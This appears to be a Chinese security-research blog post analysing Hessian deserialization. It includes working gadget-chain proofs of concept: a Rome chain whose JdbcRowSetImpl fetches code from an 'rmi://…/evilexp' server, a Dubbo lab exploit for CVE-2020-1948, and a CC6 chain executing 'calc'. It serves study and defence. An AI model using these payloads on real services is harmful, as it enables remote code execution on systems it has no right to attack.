Hessian反序列化

Hessian反序列化

Hessian是一种轻量级的二进制RPC协议,旨在在不同计算机和编程语言之间高效地传输数据。它支持Java及多种其他语言,提供简单的API来实现远程调用和自动序列化,降低了开发复杂度。

由于其二进制格式,Hessian能显著减少数据量,提高网络传输效率,适用于微服务架构、跨语言服务通信以及对性能要求较高的应用场景。

RPC

RPC(Remote Procedure Call Protocol,远程过程调用)可以简单理解为一种让计算机程序能够“远程调用”其他计算机上的功能的方法。

  1. 什么是RPC:想象你在家里用语音助手(比如Alexa或Siri)来控制其他家里的设备,比如打开灯或调节温度。RPC就像是在不同的计算机或服务器之间发出这样的命令,让它们能“听懂”你的请求并执行。

  2. 为什么需要RPC:在网络上,不同的计算机用不同的语言和系统。RPC允许这些不同的计算机通过一种标准的格式来沟通,方便它们互相调用服务或功能。

  3. 如何工作

    • 发起请求:当你想要调用某个功能时,客户端(你的电脑或应用程序)会准备好一个请求,告诉服务器你想做什么。
    • 转换格式并发送:这个请求会被转换成一种大家都能理解的“语言”,然后通过网络发给服务器。
    • 服务器处理请求:服务器收到这个请求后,解析并执行你所请求的操作,比如查询数据库或计算某个值。
    • 返回结果:处理完成后,服务器会把结果再次转换成标准格式,发送回客户端。
  4. 简化沟通:通过RPC,就像你给朋友发信息请求做某件事情一样,程序之间也可以方便地交流,互相调用功能,而不需要知道对方的内部实现细节。

RMI是RPC的一个具体实现

  • RMI是Java语言中特有的一个实现RPC的技术。它允许Java程序调用远程Java对象的方法,类似于调用本地对象的方法。
  • RMI是Java生态系统内的一种专门的RPC,它利用Java的对象序列化机制来传输对象数据,并确保类型安全。

Hessian演示实例

导入依赖

1
2
3
4
5
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>

实例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package cmisl.Demo;

import java.io.Serializable;

public class User implements Serializable {
private String name;
private int age;

// 构造函数
public User(String name, int age) {
this.name = name;
this.age = age;
}

// Getter 和 Setter
public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

@Override
public String toString() {
return "User{name='" + name + "', age=" + age + "}";
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package cmisl.Demo;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;

public class HessianExample {
public static void main(String[] args) throws IOException {
User user = new User("cmisl", 18);

// 序列化
byte[] serializedData = serialize(user);

// 反序列化
User deserializedUser = (User) deserialize(serializedData);

System.out.println(deserializedUser.toString());
}

// 序列化方法
private static byte[] serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HessianOutput ho = new HessianOutput(baos);
ho.writeObject(o);
System.out.println(baos.toString());
return baos.toByteArray();
}

// 反序列化方法
private static Object deserialize(byte[] data) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(data);
HessianInput hi = new HessianInput(bais);
return hi.readObject();
}
}

输出结果

image-20240816001834110

Hessian反序列化流程分析

从反序列化入口开始调试,通过HessianInput#readObject方法进入SerializerFactory#readMap方法,首先会去通过SerializerFactory#getDeserializer方法来获取我们要反序列化类的反序列化器。

1
2
3
4
5
6
7
8
9
10
11
public Object readMap(AbstractHessianInput in, String type) throws HessianProtocolException, IOException {
Deserializer deserializer = this.getDeserializer(type);
if (deserializer != null) {
return deserializer.readMap(in);
} else if (this._hashMapDeserializer != null) {
return this._hashMapDeserializer.readMap(in);
} else {
this._hashMapDeserializer = new MapDeserializer(HashMap.class);
return this._hashMapDeserializer.readMap(in);
}
}

在获取反序列化器的过程中,会在SerializerFactory#getDeserializer方法中查找缓存,如果cachedDeserializerMap中没有目标类的反序列化器,才会去加载到目标类的反序列化器,然后把目标类的Class对象和得到的反序列化器作为键值对,put进cachedDeserializerMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Deserializer getDeserializer(Class cl) throws HessianProtocolException {
Deserializer deserializer;
if (this._cachedDeserializerMap != null) {
deserializer = (Deserializer)this._cachedDeserializerMap.get(cl);
if (deserializer != null) {
return deserializer;
}
}

deserializer = this.loadDeserializer(cl);
if (this._cachedDeserializerMap == null) {
this._cachedDeserializerMap = new ConcurrentHashMap(8);
}

this._cachedDeserializerMap.put(cl, deserializer);
return deserializer;
}

然后回到调用SerializerFactory#getDeserializer的方法里面,两者为同构方法,因此方法名相同。会进行类似的操作,把目标类的类名和反序列化器put进cachedTypeDeserializerMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public Deserializer getDeserializer(String type) throws HessianProtocolException {
......
Class cl = this.loadSerializedClass(type);
deserializer = this.getDeserializer(cl);


if (deserializer != null) {
if (this._cachedTypeDeserializerMap == null) {
this._cachedTypeDeserializerMap = new HashMap(8);
}

synchronized(this._cachedTypeDeserializerMap) {
this._cachedTypeDeserializerMap.put(type, deserializer);
}
}

return (Deserializer)deserializer;
......
}

然后回到SerializerFactory#readMap方法中,接着进入UnsafeDeserializer#readMap方法,这个方法中,会去获取目标类的字段,方式是获得字段的反序列化器然后反序列化,那么获得字段的反序列化器这个过程,是调用this._fieldMap.get(resolve)来获取,其中_fieldMap是一个HashMap类型的对象,那么就会进入HashMap#get方法,然后就会进入key的HashCode方法。

当然,上面这种一般key都是String类型的属性名。如何调用其他类的HashCode方法呢。

其实当我们序列化的类是一个HashMap属性的话,我们在SerializerFactory#readMap方法中,就无法通过SerializerFactory#getDeserializer方法来获取我们要反序列化类的反序列化器。而是直接new了一个MapDeserializer,目标类作为参数,从而得到反序列化器,然后通过MapDeserializer#readMap方法来获得类。

MapDeserializer#readMap方法中,我们会先判断 _type 是否为空,如果为空或者等于 Map.class,创建一个 HashMap 实例,如果 _typeSortedMap类型,创建一个 TreeMap 实例。否则使用反射机制通过 _ctor 创建实例,这里的ctor是反序列化器初始化时,传入参数反射得到的构造方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public Object readMap(AbstractHessianInput in) throws IOException {
Object map;
if (this._type == null) {
map = new HashMap();
} else if (this._type.equals(Map.class)) {
map = new HashMap();
} else if (this._type.equals(SortedMap.class)) {
map = new TreeMap();
} else {
try {
map = (Map)this._ctor.newInstance();
} catch (Exception var4) {
throw new IOExceptionWrapper(var4);
}
}

in.addRef(map);

while(!in.isEnd()) {
((Map)map).put(in.readObject(), in.readObject());
}

in.readEnd();
return map;
}

然后我们会从序列化数据流依次反序列化出我们的键值对,然后put进我们的map中,然后返回map。那么,在put的过程中,我们会调用键的HashCode方法,也就是说。我们可以通过控制键来调用到任意HashCode方法,而非仅限String类。接着我们找一个HashCode作为入口的反序列化链即可,比如Rome链。

能否接CC6链

结论是不能,那么为是什么可以走到cc6链的入口,HashCode方法,却不能用CC6链呢?

问题出现在LazyMap上,我们将cc6链中的LazyMap拿出来单独序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package cmisl.Demo;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;

public class cc6test {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),

new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}
),

new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{Runtime.class, null}
),

new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
)
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map test = new HashMap();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

byte[] serializedData = serialize(decorateMap);
Object o = deserialize(serializedData);
System.out.println(o);
}

// 序列化方法
private static byte[] serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HessianOutput ho = new HessianOutput(baos);
ho.writeObject(o);
System.out.println(baos.toString());
return baos.toByteArray();
}

// 反序列化方法
private static Object deserialize(byte[] data) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(data);
HessianInput hi = new HessianInput(bais);
return hi.readObject();
}
}

我们在获取LazyMap类的反序列化器的时候,获取的是

到了MapDeserializer#readMap方法,由于MapDeserializer这个反序列化器,在初始化这个反序列化器的时候,由于LazyMap没有无参构造函数,所以ctor属性最后赋值是HashMap的构造函数。

image-20240816230144163

到了后面用这个反序列化器开始反序列化的时候,使用的反序列化器的ctor属性反射构造对象的,由于刚刚提到的,ctor是一个HashMap的构造函数,所以获取的是HashMap类。

image-20240816230249658

如果我的Map类有无参构造函数,那么反序列化出来的就会是该Map类,而不是HashMap了。记得实现Serializable接口。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
package cmisl.Demo;

import java.io.Serializable;
import java.util.*;

public class TestMap implements Map , Serializable {
private Map internalMap;

// 无参构造函数
public TestMap() {
this.internalMap = new HashMap();
}

@Override
public int size() {
return internalMap.size();
}

@Override
public boolean isEmpty() {
return internalMap.isEmpty();
}

@Override
public boolean containsKey(Object key) {
return internalMap.containsKey(key);
}

@Override
public boolean containsValue(Object value) {
return internalMap.containsValue(value);
}

@Override
public Object get(Object key) {
return internalMap.get(key);
}

@Override
public Object put(Object key, Object value) {
return internalMap.put(key, value);
}

@Override
public Object remove(Object key) {
return internalMap.remove(key);
}

@Override
public void putAll(Map m) {
internalMap.putAll(m);
}

@Override
public void clear() {
internalMap.clear();
}

@Override
public Set keySet() {
return internalMap.keySet();
}

@Override
public Collection values() {
return internalMap.values();
}

@Override
public Set<Entry> entrySet() {
return internalMap.entrySet();
}
}

image-20240816231628715

Hessian反序列化+Rome链

下面给出两个版本的依赖以及对应的POC

依赖

1
2
3
4
5
6
7
8
9
10
11
12
<dependencies>
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
</dependencies>

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Hessian_JNDI implements Serializable {

public static void main(String[] args) throws Exception {

JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("rmi://127.0.0.1:1099/evilexp");

ToStringBean toStringBean = new ToStringBean(jdbcRowSet.getClass(), jdbcRowSet);
ObjectBean objectBean = new ObjectBean(String.class,"cmisl");

HashMap hashMap = new HashMap();
hashMap.put(objectBean,"cmisl");

Field equalsBean = objectBean.getClass().getDeclaredField("_equalsBean");
equalsBean.setAccessible(true);
equalsBean.set(objectBean,new EqualsBean(toStringBean.getClass(),toStringBean));

byte[] s = serialize(hashMap);
System.out.println(s);
System.out.println((HashMap)deserialize(s));
}

public static byte[] serialize(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);
output.writeObject(o);
System.out.println(bao.toString());
return bao.toByteArray();
}

public static Object deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
HessianInput input = new HessianInput(bai);
Object o = input.readObject();
return o;
}
}

依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<dependencies>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo</artifactId>
<version>2.7.6</version>
</dependency>
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-simple</artifactId>
<version>1.7.25</version>
<scope>compile</scope>
</dependency>
</dependencies>

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Hessian_JNDI_rometool {

public static void main(String[] args) throws Exception {
// JdbcRowSetImpl 部分
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "rmi://localhost:1099/evilexp";
jdbcRowSet.setDataSourceName(url);

// ToStringBean 和 EqualsBean 部分
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

// HashMap 部分
HashMap<Object, Object> hashMap = new HashMap<>();

Field field = hashMap.getClass().getDeclaredField("size");
field.setAccessible(true);
field.set(hashMap, 2);

Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, equalsBean, equalsBean, null));
Array.set(tbl, 1, nodeCons.newInstance(0, "1", "1", null));

Field field2 = hashMap.getClass().getDeclaredField("table");
field2.setAccessible(true);
field2.set(hashMap, tbl);

// HashMap<Object, Object> hashMap = new HashMap<>();
// hashMap.put("equalsBean",equalsBean);


// 序列化和反序列化
byte[] s = serialize(hashMap);
System.out.println(s);
System.out.println(deserialize(s));
}

public static byte[] serialize(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);
output.writeObject(o);
System.out.println(bao.toString());
return bao.toByteArray();
}

public static Object deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
HessianInput input = new HessianInput(bai);
Object o = input.readObject();
return o;
}
}

Apache Dubbo

Apache Dubbo 是一个高性能的 Java RPC (Remote Procedure Call) 框架,旨在提供高效、可扩展和易用的服务治理解决方案。Dubbo 支持多种协议和序列化方式,可以与 Spring 框架无缝集成,并且具备强大的服务治理能力,如服务注册与发现、负载均衡、容错机制等。

支持协议

![DubboSupported protocol](./images/DubboSupported protocol.png)

工作流程

以下是Apache官方提供的Apache Dubbo框架的工作流程图

img

这张图展示了Dubbo架构的主要组件和工作流程。Dubbo是一个高性能的Java RPC框架,通常用于微服务架构中。图中的各个部分可以解释如下:

  1. Registry(注册中心):用于服务注册和发现。服务提供者在启动时会注册到注册中心,而消费者则会订阅服务。

  2. Consumer(消费端):代表请求服务的客户端。在图中,消费端通过注册中心订阅服务并接收通知。

  3. Provider(提供端):提供实际服务的组件。它在启动时向注册中心注册。

  4. Container(容器):用于运行提供者的环境,可能是Web容器或其他类型的运行环境。

  5. Monitor(监控):用于监控服务的调用情况和性能指标。

工作流程:

  • 步骤0:启动服务。
  • 步骤1:提供者(Provider)向注册中心(Registry)注册。
  • 步骤2:消费者(Consumer)向注册中心(Registry)订阅服务。
  • 步骤3:注册中心(Registry)通知消费者(Consumer)可用的服务。
  • 步骤4:消费者(Consumer)调用提供者(Provider)的服务。
  • 步骤5:监控系统(Monitor)收集服务调用的统计数据。

整体上,这张图展示了Dubbo中各个角色之间的交互及其工作流程。

Dubbo环境搭建

zookeeper作为Dubbo框架的Registry,下载zookeeper

记得下载带bin的,是编译好的包

配置:

conf目录下提供了配置的样例zoo_sample.cfg,要将zk运行起来,需要将其名称修改为zoo.cfg。(记得提前创建下data和Log的文件夹)

1
2
dataDir=D:\env\apache-zookeeper-3.9.2-bin\conf\data
dataLogDir=D:\env\apache-zookeeper-3.9.2-bin\conf\log

双击bin目录下zkServer.cmd即可启动Zookeeper

image-20240817025811696

Dubbo项目

建议一个Dubbo项目,参考Java安全学习——Hessian反序列化漏洞 - 枫のBlog (goodapple.top)

Dubbo-api

新建一个maven项目

1
2
3
4
5
package com.api;

public interface IHello {
String IHello(String name);
}

Dubbo-provider

新建一个springboot项目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package cmisl.dubboprovider.service;

import com.api.IHello;
import org.apache.dubbo.config.annotation.Service;

@Service
public class HelloService implements IHello {

@Override
public String IHello(String name) {
return "Hello "+name;
}
}

pom依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>

<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-spring-boot-starter</artifactId>
<version>2.7.6</version>
</dependency>

<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-dependencies-zookeeper</artifactId>
<version>2.7.6</version>
<type>pom</type>
<exclusions>
<exclusion>
<artifactId>slf4j-log4j12</artifactId>
<groupId>org.slf4j</groupId>
</exclusion>
</exclusions>
</dependency>

<dependency>
<groupId>cmisl</groupId>
<artifactId>dubbo-api</artifactId>
<version>1.0-SNAPSHOT</version>
</dependency>

<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>

</dependencies>

配置文件application.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
server:
port: 9990

spring:
application:
name: dubbo-provider

dubbo:
application:
name: dubbo-provider
scan:
base-packages: cmisl.dubboprovider.service
registry:
address: zookeeper://127.0.0.1:2181
protocol:
name: dubbo
port: 20000

Dubbo-consumer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package cmisl.dubboconsumer.consumer;

import com.api.IHello;
import org.apache.dubbo.config.annotation.Reference;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class HelloConsumer {

@Reference
private IHello iHello;

@RequestMapping("/hello")
public String hello(@RequestParam(name = "name")String name){
String h = iHello.IHello(name);
System.out.println("调用Provider");
return h;
}

}

pom依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-spring-boot-starter</artifactId>
<version>2.7.6</version>
</dependency>

<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-dependencies-zookeeper</artifactId>
<version>2.7.6</version>
<type>pom</type>
<exclusions>
<exclusion>
<artifactId>slf4j-log4j12</artifactId>
<groupId>org.slf4j</groupId>
</exclusion>
</exclusions>
</dependency>

<dependency>
<groupId>cmisl</groupId>
<artifactId>dubbo-api</artifactId>
<version>1.0-SNAPSHOT</version>
</dependency>

<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>
</dependencies>

配置文件application.yml

1
2
3
4
5
6
7
8
9
10
11
12
server:
port: 9991

spring:
application:
name: dubbo-consumer

dubbo:
application:
name: dubbo-consumer
registry:
address: zookeeper://127.0.0.1:2181

访问http://127.0.0.1:9991/hello?name=Feng,Consumer就会调用远程方法IHello()

CVE-2020-1948 :Apache Dubbo Hessian反序列化漏洞

Apache Dubbo 是一个高度可扩展的 RPC 框架,支持多种通信协议和序列化方式,以满足不同应用场景的需求。以下是 Apache Dubbo 主要支持的协议及其关系的概述:

影响范围

  • pache Dubbo 2.7.0 ~ 2.7.6
  • Apache Dubbo 2.6.0 ~ 2.6.7
  • Apache Dubbo 2.5.x 所有版本 (官方不再提供支持)。
  • 在实际测试中2.7.8补丁绕过可以打,而2.7.9失败

漏洞环境搭建

在dubbo-api添加一个接口IObject,相应的provider也要重写

IHello.java

1
2
3
4
5
6
package com.api;

public interface IHello {
String IHello(String name);
Object IObject(Object o);
}

HelloService.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package cmisl.dubboprovider.service;

import com.api.IHello;
import org.apache.dubbo.config.annotation.Service;

@Service
public class HelloService implements IHello {

@Override
public String IHello(String name) {
return "Hello "+name;
}

@Override
public Object IObject(Object o) {
return o;
}
}

HelloConsumer.java中添加一个调用远程IObject()方法的路由

1
2
3
4
5
@RequestMapping("/ser")
public void Hessian_Ser() throws Exception {
Object o = Hessian_Payload.getPayload();
Object b = iHello.IObject(o);
}

那么我们需要一个Hessian_Payload.getPayload()方法,即返回构造的恶意类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package cmisl.dubboconsumer.consumer;

import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;

import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.sql.SQLException;
import java.util.HashMap;

public class Hessian_Payload {
public static Object getPayload() throws SQLException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
// JdbcRowSetImpl 部分
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "rmi://localhost:1099/evilexp";
jdbcRowSet.setDataSourceName(url);

// ToStringBean 和 EqualsBean 部分
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

HashMap<Object, Object> hashMap = new HashMap<>();

Field size = hashMap.getClass().getDeclaredField("size");
size.setAccessible(true);
size.set(hashMap, 1);

Class nodec;
try {
nodec = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodec = Class.forName("java.util.HashMap$Entry");
}

Constructor nodeCons = nodec.getDeclaredConstructor(int.class, Object.class, Object.class, nodec);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodec, 2);
Array.set(tbl,0,nodeCons.newInstance(0,equalsBean,equalsBean,null));

Field table = hashMap.getClass().getDeclaredField("table");
table.setAccessible(true);
table.set(hashMap,tbl);

return hashMap;
}
}

当我们访问http://localhost:9991/ser,即可触发漏洞

image-20240818025628445

分析

DecodeableRpcInvocation#decode处下断点,该函数会调用重名decode方法来处理在调用方法时的数据解码。

image-20240818032957318

这段代码的主要作用是解码一个来自远程调用的请求对象。从输入流中读取并反序列化数据,提取版本信息、服务路径、方法名、参数类型和实际参数值,并处理附件数据。最后,将这些信息设置到请求对象中,并返回该对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public Object decode(Channel channel, InputStream input) throws IOException {
// 获取序列化工具并反序列化输入流为对象输入流
ObjectInput in = CodecSupport.getSerialization(channel.getUrl(), this.serializationType).deserialize(channel.getUrl(), input);

// 读取基础信息并设置到当前请求对象中
String dubboVersion = in.readUTF();
this.request.setVersion(dubboVersion);
......

try {
// 初始化参数数组和参数类型数组
Object[] args = DubboCodec.EMPTY_OBJECT_ARRAY;
Class<?>[] pts = DubboCodec.EMPTY_CLASS_ARRAY;

// 如果方法签名描述非空,则解析参数类型并读取参数值
if (desc.length() > 0) {
// 查找服务描述符和方法描述符以获取参数类型
ServiceRepository repository = ApplicationModel.getServiceRepository();
ServiceDescriptor serviceDescriptor = repository.lookupService(path);
if (serviceDescriptor != null) {
MethodDescriptor methodDescriptor = serviceDescriptor.getMethod(this.getMethodName(), desc);
if (methodDescriptor != null) {
pts = methodDescriptor.getParameterClasses();
this.setReturnTypes(methodDescriptor.getReturnTypes());
}
}

// 如果未找到对应的参数类型,则从描述字符串转换为类数组
if (pts == DubboCodec.EMPTY_CLASS_ARRAY) {
pts = ReflectUtils.desc2classArray(desc);
}

// 初始化参数数组并从输入流中读取参数
args = new Object[pts.length];
for(int i = 0; i < args.length; ++i) {
try {
args[i] = in.readObject(pts[i]);
}
......
}
}
......
}
}

首先会根据协议不同选取对应的反序列化器。

image-20240818040705121

in.readObject(pts[i])开始一系列调用readObject方法。

image-20240818035259895

这里的MapDeserializer#readMap方法与之前我们调试的有所不同,会调用doReadMap方法,不同在doReadMap方法里面。同样会出现相同的问题。

image-20240818035726854

image-20240818040108883

后面的链就和前面分析的一样了,调用key的HashCode方法然后后续就是Rome链了。

image-20240818040200819

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
put:611, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2703, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2278, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2080, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2074, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:92, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decode:139, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:79, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)
received:44, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

TemplatesImpl+SignedObject二次反序列化

为什么需要二次反序列化

我们的JdbcRowSetImpl这条Rome链子需要目标出网来访问我们恶意的rmi或者ldap服务器,那么如果目标不出网该怎么办呢?可以考虑TemplatesImpl这条rome链。但是直接用的话,存在一些问题。比如在rome中Hessian2反序列化由于TemplatesImpl类中被transient修饰的_tfactory属性没有实现Serializable接口无法被序列化,进而导致TemplatesImpl类无法初始化。ToStringBean

image-20240818204441905

而之所以原生反序列化没问题,是因为在TemplatesImpl#readObject方法中,会给_tfactory直接new一个对象。

image-20240818205145149

构造二次反序列化

有这么一个类SignedObject,可以在构造函数把传入的对象序列化,然后将数据保存在content属性中,并且可以通过getObject方法从content属性中反序列化出这个对象。可以看到这也是个getter方法。如果我们在Hessian2反序列化的时候调用这个方法,就可以再次进行反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public SignedObject(Serializable object, PrivateKey signingKey,
Signature signingEngine)
throws IOException, InvalidKeyException, SignatureException {
// creating a stream pipe-line, from a to b
ByteArrayOutputStream b = new ByteArrayOutputStream();
ObjectOutput a = new ObjectOutputStream(b);

// write and flush the object content to byte array
a.writeObject(object);
a.flush();
a.close();
this.content = b.toByteArray();
b.close();

// now sign the encapsulated object
this.sign(signingKey, signingEngine);
}

public Object getObject()
throws IOException, ClassNotFoundException
{
// creating a stream pipe-line, from b to a
ByteArrayInputStream b = new ByteArrayInputStream(this.content);
ObjectInput a = new ObjectInputStream(b);
Object obj = a.readObject();
b.close();
a.close();
return obj;
}

